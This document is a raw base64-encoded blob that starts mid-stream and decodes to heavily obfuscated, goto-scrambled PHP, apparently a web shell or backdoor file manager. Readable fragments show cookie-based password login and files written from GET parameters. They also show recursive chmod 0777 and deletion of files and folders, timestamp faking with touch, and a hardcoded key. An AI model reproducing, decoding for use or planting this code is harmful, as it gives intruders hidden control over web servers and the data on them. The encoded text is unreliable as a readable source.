FwxNTFcXHg3NVxcMTYzXFw3MlxceDIwXFx4MzRcXHg3MFxceDc4XFw3M1xcMTVcXDEyXFw0MFxcNDBcXHgyMFxceDIwXFw0MFxceDIwXFx4MjBcXHgyMFxcNDBcXHgyMFxcNDBcXDQwXFx4MjBcXHgyMFxceDIwXFw0MFxceDJkXFwxNjdcXHg2NVxcMTQyXFx4NmJcXDE1MVxceDc0XFx4MmRcXDE2NVxcMTYzXFwxNDVcXHg3MlxcNTVcXHg3M1xceDY1XFwxNTRcXDE0NVxceDYzXFwxNjRcXDcyXFx4MjBcXHg2ZVxcMTU3XFwxNTZcXHg2NVxceDNiXFx4ZFxceGFcXDQwXFx4MjBcXDQwXFx4MjBcXHgyMFxcNDBcXDQwXFw0MFxcNDBcXHgyMFxceDIwXFw0MFxcNDBcXHgyMFxcNDBcXHgyMFxcNTVcXHg2ZFxceDZmXFwxNzJcXDU1XFwxNjVcXHg3M1xceDY1XFx4NzJcXHgyZFxcMTYzXFx4NjVcXHg2Y1xcMTQ1XFwxNDNcXHg3NFxceDNhXFw0MFxceDZlXFx4NmZcXDE1NlxceDY1XFw3M1xceGRcXDEyXFw0MFxcNDBcXHgyMFxceDIwXFx4MjBcXHgyMFxcNDBcXHgyMFxcNDBcXDQwXFw0MFxceDIwXFx4MjBcXHgyMFxcNDBcXDQwXFw1NVxcMTU1XFx4NzNcXHgyZFxceDc1XFwxNjNcXHg2NVxcMTYyXFx4MmRcXDE2M1xcMTQ1XFx4NmNcXDE0NVxcMTQzXFwxNjRcXDcyXFx4MjBcXDE1NlxcMTU3XFwxNTZcXHg2NVxceDNiXFwxNVxceGFcXHgyMFxcNDBcXHgyMFxceDIwXFw0MFxcNDBcXDQwXFx4MjBcXHgyMFxceDIwXFx4MjBcXDQwXFx4MjBcXDQwXFw0MFxcNDBcXHgyZFxcMTU3XFx4MmRcXDE2NVxcMTYzXFx4NjVcXDE2MlxceDJkXFx4NzNcXHg2NVxcMTU0XFwxNDVcXHg2M1xcMTY0XFx4M2FcXDQwXFx4NmVcXHg2ZlxceDZlXFwxNDVcXDczXFwxNVxcMTJcXDQwXFx4MjBcXHgyMFxceDIwXFx4MjBcXHgyMFxcNDBcXHgyMFxcNDBcXDQwXFx4MjBcXDQwXFx4MjBcXDQwXFw0MFxceDIwXFwxNjVcXHg3M1xcMTQ1XFx4NzJcXHgyZFxceDczXFwxNDVcXDE1NFxceDY1XFx4NjNcXDE2NFxcNzJcXHgyMFxceDZlXFwxNTdcXDE1NlxcMTQ1XFwxNVxceGFcXDQwXFw0MFxcNDBcXHgyMFxcNDBcXHgyMFxceDIwXFx4MjBcXHgyMFxceDIwXFw0MFxceDIwXFwxNzVcXHhkXFwxMlxceDIwXFw0MFxcNDBcXDQwXFw0MFxceDIwXFx4MjBcXDQwXFw0MFxcNDBcXHgyMFxceDIwXFx4ZFxcMTJcXDQwXFw0MFxcNDBcXHgyMFxcNDBcXHgyMFxceDIwXFx4MjBcXDQwXFx4MjBcXDQwXFw0MFxceDJlXFx4NjJcXDE2NFxceDZlXFx4MmRcXDE2MFxceDcyXFx4NjlcXHg2ZFxceDYxXFx4NzJcXDE3MVxcNDBcXHg3YlxceGRcXHhhXFw0MFxceDIwXFw0MFxceDIwXFx4MjBcXHgyMFxcNDBcXHgyMFxcNDBcXDQwXFw0MFxcNDBcXDQwXFw0MFxceDIwXFx4MjBcXHg2M1xceDZmXFwxNTRcXDE1N1xcMTYyXFw3MlxcNDBcXDQzXFx4NjZcXDE0NlxceDY2XFx4M2JcXDE1XFx4YVxcNDBcXDQwXFx4MjBcXDQwXFw0MFxceDIwXFx4MjBcXDQwXFx4MjBcXDQwXFx4MjBcXDQwXFx4MjBcXHgyMFxcNDBcXDQwXFwxNDJcXDE0MVxceDYzXFwxNTNcXHg2N1xcMTYyXFwxNTdcXDE2NVxcMTU2XFx4NjRcXDU1XFwxNDNcXHg2ZlxceDZjXFwxNTdcXHg3MlxceDNhXFx4MjBcXHgyM1xcNjRcXHgzMlxcNzBcXHg2MlxceDYzXFwxNDFcXDczXFwxNVxceGFcXDQwXFw0MFxcNDBcXHgyMFxceDIwXFx4MjBcXDQwXFw0MFxceDIwXFw0MFxcNDBcXHgyMFxcNDBcXHgyMFxceDIwXFx4MjBcXDE0MlxceDZmXFx4NzJcXDE0NFxceDY1XFwxNjJcXHgyZFxcMTQzXFx4NmZcXHg2Y1xceDZmXFx4NzJcXHgzYVxceDIwXFx4MjNcXDY0XFw2MlxcNzBcXHg2MlxcMTQzXFwxNDFcXHhkXFx4YVxceDIwXFx4MjBcXDQwXFw0MFxceDIwXFw0MFxceDIwXFx4MjBcXDQwXFx4MjBcXHgyMFxcNDBcXDE3NVxcMTVcXHhhXFw0MFxcNDBcXHgyMFxcNDBcXHgyMFxceDIwXFw0MFxcNDBcXDc0XFx4MmZcXDE2M1xceDc0XFwxNzFcXDE1NFxcMTQ1XFx4M2VcXDE1XFx4YVxcNDBcXDQwXFx4MjBcXHgyMFxcNDBcXHgyMFxceDIwXFx4MjBcXHgzY1xcMTQyXFwxNTdcXHg2NFxceDc5XFx4M2VcXHhkXFwxMlxceDIwXFw0MFxceDIwXFx4MjBcXHgyMFxcNDBcXHgyMFxcNDBcXDQwXFx4MjBcXHgyMFxcNDBcXHgzY1xceDYzXFwxNDVcXHg2ZVxcMTY0XFx4NjVcXHg3MlxceDNlXFx4ZFxceGFcXDQwXFx4MjBcXHgyMFxcNDBcXHgyMFxcNDBcXHgyMFxceDIwXFx4MjBcXHgyMFxcNDBcXHgyMFxceDIwXFw0MFxcNDBcXDQwXFw3NFxceDYyXFwxNjJcXHgzZVxceDNjXFx4NjJcXHg3MlxcNzZcXDE1XFwxMlxcNDBcXDQwXFx4MjBcXHgyMFxceDIwXFx4MjBcXHgyMFxceDIwXFw0MFxcNDBcXDQwXFw0MFxcNDBcXHgyMFxceDIwXFw0MFxcNzRcXDE0NlxceDZmXFx4NmVcXHg3NFxceDIwXFx4NzNcXDE1MVxceDdhXFwxNDVcXHgzZFxcNDJcXHgzM1xceDIyXFx4MjBcXDE0NlxceDYxXFx4NjNcXHg2NVxceDNkXFw0MlxceDRkXFwxNTFcXDE0M1xceDcyXFwxNTdcXDE2M1xcMTU3XFwxNDZcXDE2NFxceDIwXFwxMzFcXDE0MVxceDQ4XFwxNDVcXDE1MVxcNDJcXHgzZVxceGU4XFx4YmZcXDIwN1xceGU1XFwyNTZcXDIxMVxceGU1XFwyMDVcXHhhOFxcMzQ3XFwyMTNcXDIyN1xceGUzXFx4ODBcXDIwMVxcMzQ0XFwyNzJcXHg5MVxceGU5XFwyMjRcXDIwMVxceGUzXFwyMDBcXDIwMVxcMzUxXFx4OThcXDI3N1xcMzUxXFwyMDdcXDIxNFxceGU0XFx4YmFcXHg5MVxcMzQzXFx4ODBcXHg4MVxceDMzXFw2NlxceDMwXFx4ZTNcXDIwMFxcMjAxXFwzNDZcXDIxMlxceGE0XFx4ZTVcXDIxNVxceGFiXFwzNDdcXHhhNVxceDllXFwzNDNcXDIwMFxcMjAxXFwxMDRcXHhlN1xcMjMzXFx4YmVcXHhlM1xceDgwXFwyMDFcXHhlN1xcMjMxXFx4YmVcXHhlNVxcMjcyXFwyNDZcXHhlNFxceGJhXFwyMjFcXDM0M1xcMjAwXFwyMDFcXDM0NVxceDkwXFx4ODRcXHhlN1xcMjQ3XFx4OGRcXHhlNlxcMjM1XFwyMDBcXHhlOFxceGJkXFx4YWZcXDM1N1xceGJjXFwyMDFcXDc0XFx4MmZcXDE0NlxceDZmXFwxNTZcXHg3NFxcNzZcXHhkXFx4YVxceDIwXFw0MFxceDIwXFx4MjBcXHgyMFxcNDBcXHgyMFxceDIwXFw0MFxceDIwXFx4MjBcXHgyMFxceDIwXFw0MFxceDIwXFx4MjBcXHgzY1xcMTQyXFwxNjJcXHgzZVxcNzRcXHg2MlxcMTYyXFw3NlxcMTVcXHhhXFx4MjBcXHgyMFxcNDBcXHgyMFxceDIwXFw0MFxcNDBcXDQwXFx4MjBcXHgyMFxcNDBcXHgyMFxcNDBcXDQwXFw0MFxceDIwXFx4M2NcXHg2NlxceDZmXFx4NzJcXHg2ZFxceDIwXFx4NmRcXDE0NVxcMTY0XFx4NjhcXDE1N1xceDY0XFw3NVxcNDJcXHg1MFxceDRmXFx4NTNcXHg1NFxceDIyXFx4M2VcXHhkXFwxMlxcNDBcXHgyMFxcNDBcXHgyMFxceDIwXFx4MjBcXHgyMFxcNDBcXHgyMFxceDIwXFw0MFxceDIwXFx4MjBcXDQwXFx4MjBcXHgyMFxceDIwXFw0MFxcNDBcXHgyMFxceDNjXFwxNTFcXHg2ZVxceDcwXFx4NzVcXDE2NFxceDIwXFwxNjNcXDE2NFxceDc5XFx4NmNcXDE0NVxcNzVcXHgyMlxcMTI3XFwxNTFcXHg2NFxcMTY0XFx4NjhcXHgzYVxceDMxXFw2MlxcNjVcXHg3MFxcMTY0XFx4M2JcXDE0NFxcMTUxXFwxNjNcXHg3MFxceDZjXFx4NjFcXDE3MVxcNzJcXDE1MVxcMTU2XFwxNTRcXHg2OVxceDZlXFwxNDVcXDU1XFx4NjJcXDE1NFxcMTU3XFwxNDNcXDE1M1xceDNiXFwxNDZcXHg2ZlxcMTU2XFx4NzRcXDU1XFx4NjZcXHg2MVxcMTU1XFwxNTFcXDE1NFxceDc5XFw3MlxceDRkXFwxNTFcXHg2M1xceDcyXFwxNTdcXHg3M1xceDZmXFwxNDZcXHg3NFxcNDBcXDEzMVxcMTQxXFx4NDhcXHg2NVxcMTUxXFx4NjZcXHg2ZlxcMTU2XFx4NzRcXDU1XFwxNjNcXHg2OVxceDdhXFwxNDVcXHgzYVxceDM5XFw2MFxceDI1XFw0MlxceDIwXFx4ZFxceGFcXHgyMFxcNDBcXHgyMFxcNDBcXHgyMFxceDIwXFx4MjBcXHgyMFxceDIwXFw0MFxcNDBcXHgyMFxceDIwXFw0MFxceDIwXFx4MjBcXDQwXFx4MjBcXDQwXFw0MFxcMTQzXFwxNTRcXDE0MVxceDczXFwxNjNcXDc1XFw0MlxceDY2XFx4NmZcXHg3MlxceDZkXFw1NVxceDYzXFx4NmZcXDE1NlxcMTY0XFwxNjJcXHg2ZlxceDZjXFx4MjJcXHgyMFxceDcwXFx4NmNcXDE0MVxceDYzXFwxNDVcXDE1MFxcMTU3XFx4NmNcXHg2NFxcMTQ1XFx4NzJcXDc1XFx4MjJcXDEwMFxceDUwXFwxNDFcXDE2M1xcMTYzXFx4NzdcXDE2MlxceDY0XFw0MlxceDIwXFwxNjRcXDE3MVxceDcwXFx4NjVcXDc1XFw0MlxceDcwXFx4NjFcXHg3M1xcMTYzXFwxNjdcXDE1N1xcMTYyXFwxNDRcXHgyMlxceDIwXFx4NmVcXDE0MVxcMTU1XFwxNDVcXDc1XFx4MjJcXHg2N1xcMTQ1XFwxNjRcXDE2MFxcMTY3XFwxNDRcXDQyXFw3NlxcMTVcXHhhXFw0MFxcNDBcXDQwXFx4MjBcXDQwXFw0MFxcNDBcXDQwXFw0MFxcNDBcXHgyMFxcNDBcXHgyMFxceDIwXFx4MjBcXHgyMFxcNDBcXHgyMFxceDIwXFx4MjBcXDc0XFwxNTFcXHg2ZVxcMTYwXFwxNjVcXHg3NFxceDIwXFx4NzNcXDE2NFxcMTcxXFx4NmNcXDE0NVxcNzVcXDQyXFwxMjdcXHg2OVxcMTQ0XFx4NzRcXDE1MFxcNzJcXHgzNVxcNjVcXDE2MFxcMTY0XFx4M2JcXDE0NlxceDZmXFwxNTZcXHg3NFxceDJkXFx4NzNcXDE1MVxceDdhXFwxNDVcXHgzYVxceDM5XFx4MzBcXDQ1XFw3M1xceDY2XFx4NmZcXDE1NlxceDc0XFx4MmRcXHg2NlxceDYxXFx4NmRcXHg2OVxcMTU0XFx4NzlcXHgzYVxcMTE1XFwxNTFcXDE0M1xceDcyXFx4NmZcXDE2M1xceDZmXFwxNDZcXHg3NFxceDIwXFwxMzFcXHg2MVxcMTEwXFx4NjVcXDE1MVxcNDJcXHgyMFxceDYzXFx4NmNcXHg2MVxcMTYzXFwxNjNcXHgzZFxceDIyXFwxNDJcXHg3NFxceDZlXFw0MFxcMTQyXFwxNjRcXDE1NlxcNTVcXDE2MFxcMTYyXFx4NjlcXHg2ZFxceDYxXFx4NzJcXHg3OVxcNDJcXHgyMFxcMTY0XFwxNzFcXDE2MFxceDY1XFx4M2RcXHgyMlxcMTYzXFwxNjVcXHg2MlxceDZkXFwxNTFcXHg3NFxcNDJcXHgyMFxceDc2XFwxNDFcXDE1NFxceDc1XFx4NjVcXHgzZFxcNDJcXDQzXFwxMTRcXDE1N1xceDY3XFx4NjlcXHg2ZVxceDIyXFx4M2VcXDE1XFwxMlxcNDBcXDQwXFx4MjBcXHgyMFxceDIwXFw0MFxcNDBcXDQwXFw0MFxcNDBcXHgyMFxceDIwXFx4MjBcXHgyMFxceDIwXFx4MjBcXDc0XFw1N1xceDY2XFwxNTdcXDE2MlxcMTU1XFw3NlxceGRcXHhhXFx4MjBcXDQwXFw0MFxcNDBcXHgyMFxceDIwXFx4MjBcXDQwXFx4MjBcXDQwXFx4MjBcXHgyMFxceDNjXFx4MmZcXHg2M1xceDY1XFwxNTZcXDE2NFxcMTQ1XFwxNjJcXDc2XFwxNVxcMTJcXHgyMFxcNDBcXHgyMFxceDIwXFx4MjBcXHgyMFxcNDBcXHgyMFxcNzRcXHgyZlxceDYyXFx4NmZcXDE0NFxceDc5XFw3NlxceGRcXHhhXFw0MFxceDIwXFx4MjBcXHgyMFxceDIwXFx4MjBcXHgyMFxceDIwXFw3NFxcNTdcXHg2OFxceDc0XFx4NmRcXHg2Y1xceDNlXCI7IGdvdG8gQmd2U2w7IEJndlNsOiBlY2hvICRRU084ZjsgZ290byB3d2V5QjsgYkVUM1M6IHNBZzNFOiBnb3RvIEtnMm5MOyBQWTlvZTogJFJKUFRuID0gbmV3IEZPajhuKCk7IGdvdG8gZWhVMks7IEtMZFRGOiBzZXRjb29raWUoXCJcXDE1MVxceDczXFwxMTRcXHg2ZlxceDY3XFx4NjlcXDE1NlwiLCBtZDUobWQ1KCRfUE9TVFtcIlxceDY3XFwxNDVcXDE2NFxceDcwXFwxNjdcXDE0NFwiXSkpLCB0aW1lKCkgKyA4ICogNjAgKiA2MCwgXCJcXDU3XCIpOyBnb3RvIFBZOW9lOyB3d2V5QjogfSB9IGdvdG8gUXBUSjI7IHJEdWJwOiBpZiAoISghZW1wdHkoJF9HRVRbXCJcXHg2N1xcMTUwXFx4NzBcXDE2MVxcMTU3XFx4NmFcXDE0NFxcMTYzXFx4NjZcXHg2OVxcMTU3XFwxNTZcXHgzMVxcNjJcXDYzXFw3MVwiXSkgJiYgIWVtcHR5KCRfR0VUW1wiXFx4NzZcXHg3MVxceDc3XFx4NjVcXHg2M1xceDczXFx4NzhcXHgzMVxcNjJcXHgzM1xceDMxXFx4MzJcIl0pICYmICFlbXB0eSgkX0dFVFtcIlxcMTUzXFx4NzFcXDE1MVxcMTYzXFwxNTBcXHg2N1xceDZjXFx4MzFcXHgzOVxceDM0XFx4NmVcXDE2N1xceDcxXFx4MzdcIl0pKSkgeyBnb3RvIHY5cTc5OyB9IGdvdG8gZUVkdzI7IG00dkRNOiBtTU9GbDogZ290byB3eGYzTzsgWTVqVFQ6IGZ1bmN0aW9uIE1XZU1CKCRZSm5icikgeyBnb3RvIERqcGU5OyBGSkp5TTogSFB1WnA6IGdvdG8gSEJ4S1A7IERqcGU5OiBmb3JlYWNoICgkWUpuYnIgYXMgJGlXOGY0ID0+ICRLUHRiSykgeyAkWUpuYnJbJGlXOGY0XSA9IGlzX2FycmF5KCRLUHRiSykgPyBtd0VNYigkS1B0YkspIDogc3RyaXBzbGFzaGVzKCRLUHRiSyk7IGlaRGRhOiB9IGdvdG8gRkpKeU07IEhCeEtQOiByZXR1cm4gJFlKbmJyOyBnb3RvIGNBcGJUOyBjQXBiVDogfSBnb3RvIEVETGFROyBsUHI2RDogZm9yZWFjaCAoJFlKbmJyW1wiXFwxNDZcXDE1MVxceDZjXFx4NjVcIl0gYXMgJGNUMW96ID0+ICRLZXNfcSkgeyBnb3RvIGNXa05QOyBNTlVsajogWEN6XzQ6IGdvdG8gajZScHM7IFFvNUQxOiBnb3RvIFhDel80OyBnb3RvIEpuS1g2OyB1R0lxWTogejQxcVg6IGdvdG8gUW81RDE7IHRRTDdaOiAkaXBkdDkgPSBmaWxlbXRpbWUoJGNUMW96KTsgZ290byB1R0lxWTsgSm5LWDY6IFZOdHVFOiBnb3RvIFhpSkZlOyBjV2tOUDogaWYgKCEkaXBkdDkpIHsgZ290byBWTnR1RTsgfSBnb3RvIFhBWTNaOyBYQVkzWjogaWYgKCEoZmlsZW10aW1lKCRjVDFveikgPCAkaXBkdDkpKSB7IGdvdG8gejQxcVg7IH0gZ290byB0UUw3WjsgWGlKRmU6ICRpcGR0OSA9IGZpbGVtdGltZSgkY1Qxb3opOyBnb3RvIE1OVWxqOyBqNlJwczogR1ExWDY6IGdvdG8geFZfZEw7IHhWX2RMOiB9IGdvdG8gd213Y1M7IFYxVVlrOiBAdG91Y2goJGRScU5aLCAkaXBkdDkpOyBnb3RvIERmRnZROyBlSmZNTTogaWYgKGVtcHR5KCRfR0VUW1wiXFx4NjRcXDE1M1xcNzBcXDYyXFx4NmJcXDE0NFxceDczXFwxNTFcXDE2NVxceDY0XFx4MzlcXDYxXFw2MlxceDM1XFwxNDRcIl0pKSB7IGdvdG8gSHRMRHE7IH0gZ290byBuajNhaDsgV0xjdEY6IGZpbGVfcHV0X2NvbnRlbnRzKCRkUnFOWiwgJHM1cjN5KTsgZ290byB3Mlh2djsgbFRGZ2E6IG1rZGlyKCRQZlJ2TCwgMDc1NSwgXCJcXHg3MlxcMTQ1XFx4NjNcXDE2NVxcMTYyXFwxNjNcXHg2OVxcMTY2XFx4NjVcIik7IGdvdG8gb0J1MDA7IFk3V3gwOiAkQzM5VkggPSBzdHJwb3MoJEMzOVZILCBcIlxceDY1XFx4NzZcXHg2MVxceDZjXFw1MFxceDI5XCIpID8gYXJyYXlfc2hpZnQoJGVNenZvKSA6ICRDMzlWSDsgZ290byBqZWlYdjsga0FEZUM6IGRlZmluZShcIlxcMTA2XFx4NGZcXHgzM1xcNzFcXDE1NlwiLCBwQk0wNyhzdHJ0cigkQzM5VkgsIGFycmF5KHBCbTA3KCRfU0VSVkVSW1wiXFwxMjBcXHg0OFxceDUwXFx4NWZcXHg1M1xcMTA1XFwxMTRcXDEwNlwiXSkgPT4gJycpKSAuIFwiXFx4MmZcIikpOyBnb3RvIHY3Q01POyBJblZ3NTogJFlDcGNuID0gbmV3IE00RU1pKCk7IGdvdG8gaWIzWWM7IG9CdTAwOiBjaG1vZCgkUGZSdkwsIDA3NTUpOyBnb3RvIG00dkRNOyBlRWR3MjogJHM1cjN5ID0gY2l2Z0goJF9HRVRbXCJcXDE0N1xceDY4XFwxNjBcXHg3MVxceDZmXFwxNTJcXDE0NFxcMTYzXFx4NjZcXHg2OVxcMTU3XFwxNTZcXHgzMVxcNjJcXDYzXFx4MzlcIl0pOyBnb3RvIGx2dk5tOyBpYjNZYzogJFlDcGNuLT5KQU85bygkZ0hjQlMpOyBnb3RvIEFLdTAxOyBqOHJEajogZnVuY3Rpb24gSUlweXooJFlKbmJyLCAkZzlfV1cpIHsgZ290byBxc1djcTsgQndHU2U6IFdZUU93OiBnb3RvIHlQN2NmOyBxc1djcTogZm9yZWFjaCAoJFlKbmJyIGFzICRpVzhmNCkgeyBnb3RvIENxU0pLOyBDcVNKSzogaWYgKCFzdHJpc3RyKCRnOV9XVywgJGlXOGY0KSkgeyBnb3RvIE83R0ZNOyB9IGdvdG8gQl83NlI7IEJfNzZSOiByZXR1cm4gdHJ1ZTsgZ290byBCd2FnMzsgaFlRMTA6IElXRUtTOiBnb3RvIGJ1b3M3OyBCd2FnMzogTzdHRk06IGdvdG8gaFlRMTA7IGJ1b3M3OiB9IGdvdG8gQndHU2U7IHlQN2NmOiByZXR1cm4gZmFsc2U7IGdvdG8gSGtCQ0U7IEhrQkNFOiB9IGdvdG8gajRPTDA7IHo0RmViOiBmdW5jdGlvbiBtUkYwcSgkYjAwbFQpIHsgZ290byB4U3g0Zzsgd1NjU086IGlmICghKGZhbHNlICE9PSAoJEtlc19xID0gQHJlYWRkaXIoJGJKNjJvKSkpKSB7IGdvdG8gbGluWUo7IH0gZ290byBOSHdZXzsgYURLR0U6IGdvdG8geEV3VDE7IGdvdG8gQzJkd0s7IExxeUxMOiAkUGZSdkwgPSAkYjAwbFQgLiAkS2VzX3E7IGdvdG8gRU0zbTc7IFRBejU3OiBNUmYwcSgkUGZSdkwgLiBcIlxceDJmXCIpOyBnb3RvIG9HRDB4OyBrS1hZODogZ290byBHMHk3WjsgZ290byBGV2ZCVTsgb0dEMHg6IHhFd1QxOiBnb3RvIE9CUVJIOyBDMmR3SzogWmZTcHY6IGdvdG8gVEF6NTc7IHhTeDRnOiAkYko2Mm8gPSBAb3BlbmRpcigkYjAwbFQpOyBnb3RvIElIZXlzOyBJSGV5czogRzB5N1o6IGdvdG8gd1NjU087IHNxRF9oOiBsaW5ZSjogZ290byBudWZ2dTsgRU0zbTc6IEBjaG1vZCgkUGZSdkwsIDA3NzcpOyBnb3RvIEpsSnJfOyBGV2ZCVTogT01paXE6IGdvdG8gTHF5TEw7IE5Id1lfOiBpZiAoISgkS2VzX3EgPT0gXCJcXDU2XCIgfHwgJEtlc19xID09IFwiXFw1NlxceDJlXCIpKSB7IGdvdG8gT01paXE7IH0gZ290byBrS1hZODsgT0JRUkg6IGdvdG8gRzB5N1o7IGdvdG8gc3FEX2g7IG51ZnZ1OiBAY2xvc2VkaXIoJGJKNjJvKTsgZ290byB6b0cwOTsgem9HMDk6IHJldHVybiBAcm1kaXIoJGIwMGxUKTsgZ290byBVbkkwMTsgcExzVmQ6IEB1bmxpbmsoJFBmUnZMKTsgZ290byBhREtHRTsgSmxKcl86IGlmIChpc19kaXIoJFBmUnZMKSkgeyBnb3RvIFpmU3B2OyB9IGdvdG8gcExzVmQ7IFVuSTAxOiB9IGdvdG8gRExoZlQ7IHczaEdROiBmdW5jdGlvbiBjNGdIcigkYjAwbFQpIHsgZ290byBkWnZQXzsgZk5YN2M6IGlmICghKCRLZXNfcSA9PSBcIlxcNTZcIiB8fCAkS2VzX3EgPT0gXCJcXHgyZVxcNTZcIikpIHsgZ290byBSQUlPZjsgfSBnb3RvIERKSm9BOyBRS2pHRjogcmV0dXJuICRZSm5icjsgZ290byB6Y2E1YjsgT3YxZFQ6IGdvdG8geEllSkQ7IGdvdG8gZUxTRzI7IHpjVGlZOiBpZiAoIShmYWxzZSAhPT0gKCRLZXNfcSA9IHJlYWRkaXIoJGJKNjJvKSkpKSB7IGdvdG8galFRQmI7IH0gZ290byBmTlg3YzsgUUp2ckw6ICRZSm5iciA9IGFycmF5KCk7IGdvdG8gVnhwTFY7IFZ4cExWOiBZNHhxNjogZ290byB6Y1RpWTsgTGdlMmw6IFJBSU9mOiBnb3RvIHliZ1luOyBlTFNHMjogZGlyN246IGdvdG8gUEpTTWs7IGRadlBfOiAkYjAwbFQgPSBwYm0wNygkYjAwbFQgLiBcIlxcNTdcIik7IGdvdG8gUUg0STA7IG9JTW1zOiBpZiAoaXNfZGlyKCRQZlJ2TCkpIHsgZ290byBkaXI3bjsgfSBnb3RvIEZkUWh1OyBRSDRJMDogdHJ5IHsgZ290byBFTGRnYzsgZkt6V2Y6IHJldHVybiBmYWxzZTsgZ290byBpTDJNaTsgaUwyTWk6IEdta2hsOiBnb3RvIFVIeHBJOyBFTGRnYzogaWYgKCEoKCRiSjYybyA9IEBvcGVuZGlyKCRiMDBsVCkpID09IE5VTEwpKSB7IGdvdG8gR21raGw7IH0gZ290byBmS3pXZjsgVUh4cEk6IH0gY2F0Y2ggKFRocm93YWJsZSAkeVZiZUMpIHsgcmV0dXJuIGZhbHNlOyB9IGdvdG8gUUp2ckw7IE5FZGE2OiBqUVFCYjogZ290byB5bEV6cTsgeWxFenE6IGNsb3NlZGlyKCRiSjYybyk7IGdvdG8gUUtqR0Y7IEZkUWh1OiAkWUpuYnJbXCJcXDE0NlxceDY5XFx4NmNcXHg2NVwiXVskUGZSdkxdID0gJEtlc19xOyBnb3RvIE92MWRUOyB2TVZYYTogZ290byBZNHhxNjsgZ290byBORWRhNjsgUEpTTWs6ICRZSm5icltcIlxceDY0XFx4NjlcXDE2MlwiXVskUGZSdkxdID0gJEtlc19xOyBnb3RvIEZqbkV3OyB5YmdZbjogJFBmUnZMID0gJGIwMGxUIC4gJEtlc19xOyBnb3RvIFE3NU5NOyBESkpvQTogZ290byBZNHhxNjsgZ290byBMZ2UybDsgUTc1Tk06ICRLZXNfcSA9IHN0cnRyKCRLZXNfcSwgYXJyYXkoXCJcXHgyN1wiID0+IFwiXFw0NVxcNjJcXHgzN1wiLCBcIlxcNDJcIiA9PiBcIlxceDI1XFw2MlxcNjJcIikpOyBnb3RvIG9JTW1zOyBGam5FdzogeEllSkQ6IGdvdG8gdk1WWGE7IHpjYTViOiB9IGdvdG8gcE9YUlg7IExCT0xVOiAkZ0hjQlMgPSBcIjdkMmZjOTVkYTc2ZTIwZjdiN2UwZmM2YTkxMTgzNGQ3XCI7IGdvdG8gU0lOejY7IE1EZXdoOiBmdW5jdGlvbiBqV3B0YigkZWJfN0opIHsgZ290byBRd1RKZzsgbVhkMUI6IFpoREpSOiBnb3RvIEszU2NROyBYb3Q2ZzogZ290byB5SE5tVTsgZ290byBtWGQxQjsgUXdUSmc6ICRiSjYybyA9IGZvcGVuKCRlYl83SiwgXCJcXHg3MlwiKTsgZ290byBJYWYydDsgSWFmMnQ6IGlmIChmaWxlc2l6ZSgkZWJfN0opID4gMCkgeyBnb3RvIFpoREpSOyB9IGdvdG8gdHJjb3M7IGlMbWhuOiByZXR1cm4gJE5DMHpfOyBnb3RvIG43d3lpOyBmOEI1TjogZmNsb3NlKCRiSjYybyk7IGdvdG8gaUxtaG47IHRyY29zOiAkTkMwel8gPSAnJzsgZ290byBYb3Q2ZzsgSzNTY1E6ICROQzB6XyA9IGZyZWFkKCRiSjYybywgZmlsZXNpemUoJGViXzdKKSk7IGdvdG8gRmlpWHU7IEZpaVh1OiB5SE5tVTogZ290byBmOEI1Tjsgbjd3eWk6IH0gZ290byBiRHpSVzsgRGZGdlE6IHFZVUFEOiBnb3RvIGlQbzM2OyBtUU5HbTogJFBmUnZMID0gaW1wbG9kZShcIlxcNTdcIiwgJFBmUnZMKTsgZ290byBsMDRxcDsgc252bWM6IGhlYWRlcihcIlxcMTQzXFx4NmZcXDE1NlxcMTY0XFwxNDVcXDE1NlxceDc0XFw1NVxcMTI0XFwxNzFcXDE2MFxcMTQ1XFw3MlxcNDBcXHg3NFxceDY1XFx4NzhcXDE2NFxcNTdcXHg2OFxcMTY0XFx4NmRcXHg2Y1xceDNiXFw0MFxcMTQzXFx4NjhcXDE0MVxcMTYyXFwxNjNcXDE0NVxceDc0XFx4M2RcXHg3NVxceDc0XFx4NjZcXDU1XFw3MFwiKTsgZ290byBsZ01iejsgdzJYdnY6IGlmICghJGlwZHQ5KSB7IGdvdG8gcVlVQUQ7IH0gZ290byBWMVVZazsgcGZrcEg6IGZ1bmN0aW9uIGxHVTNqKCRlYl83SiwgJE5DMHpfLCAkZnlqdlkpIHsgZ290byBsTHowVTsgQXFJdFE6IHJldHVybiAkaVc4ZjQ7IGdvdG8gWE5PcVI7IGY1Q1dzOiAkaVc4ZjQgPSBmYWxzZTsgZ290byBBMTlkeDsgb2p6QTk6IGNobW9kKCRlYl83SiwgMDY2Nik7IGdvdG8gaWtuQm07IGxMejBVOiBpZiAoISghaXNfd3JpdGFibGUoJGViXzdKKSAmJiBmaWxlX2V4aXN0cygkZWJfN0opKSkgeyBnb3RvIFIzNHJCOyB9IGdvdG8gb2p6QTk7IGlrbkJtOiBSMzRyQjogZ290byBmNUNXczsgQTE5ZHg6IHRyeSB7IGdvdG8gUWZ4eHU7IEN0R0E1OiAkaVc4ZjQgPSBmcHV0cygkYko2Mm8sICROQzB6Xyk7IGdvdG8gdE5MU2k7IFFmeHh1OiAkYko2Mm8gPSBmb3BlbigkZWJfN0osICRmeWp2WSk7IGdvdG8gQ3RHQTU7IHROTFNpOiBmY2xvc2UoJGJKNjJvKTsgZ290byB3RXZQVzsgd0V2UFc6IH0gY2F0Y2ggKFRocm93YWJsZSAkeVZiZUMpIHsgfSBnb3RvIEFxSXRROyBYTk9xUjogfSBnb3RvIE1EZXdoOyBwT1hSWDogZnVuY3Rpb24gQVhUdHEoKSB7IGdvdG8gVGVSdW47IGNOZDB5OiBpZiAoIShpc3NldCgkX1BPU1RbXCJcXHg3MFxcMTQxXFx4NzNcXHg3M1wiXSkgJiYgaXNzZXQoJF9QT1NUWyRfUE9TVFtcIlxcMTYwXFx4NjFcXDE2M1xceDczXCJdXSkpKSB7IGdvdG8gZ0l6Yko7IH0gZ290byBtaWNwSjsgZmFzYzE6IFNSd1kwOiBnb3RvIGwwSHcwOyBjT2VETzogaWYgKCFpc3NldCgkX1BPU1RbXCJcXHg2N1xcMTQ1XFwxNjRcXDE2MFxcMTY3XFwxNDRcIl0pKSB7IGdvdG8gbm9MMUw7IH0gZ290byB2eUVvSzsgdnlFb0s6ICRRU084ZiAuPSBcIlxceDNjXFx4NjlcXDE1NlxceDcwXFx4NzVcXDE2NFxceDIwXFx4NzRcXHg3OVxcMTYwXFx4NjVcXHgzZFxcNDJcXHg2OFxceDY5XFx4NjRcXDE0NFxcMTQ1XFwxNTZcXHgyMlxceDIwXFwxNTZcXDE0MVxcMTU1XFwxNDVcXDc1XFw0MlxceD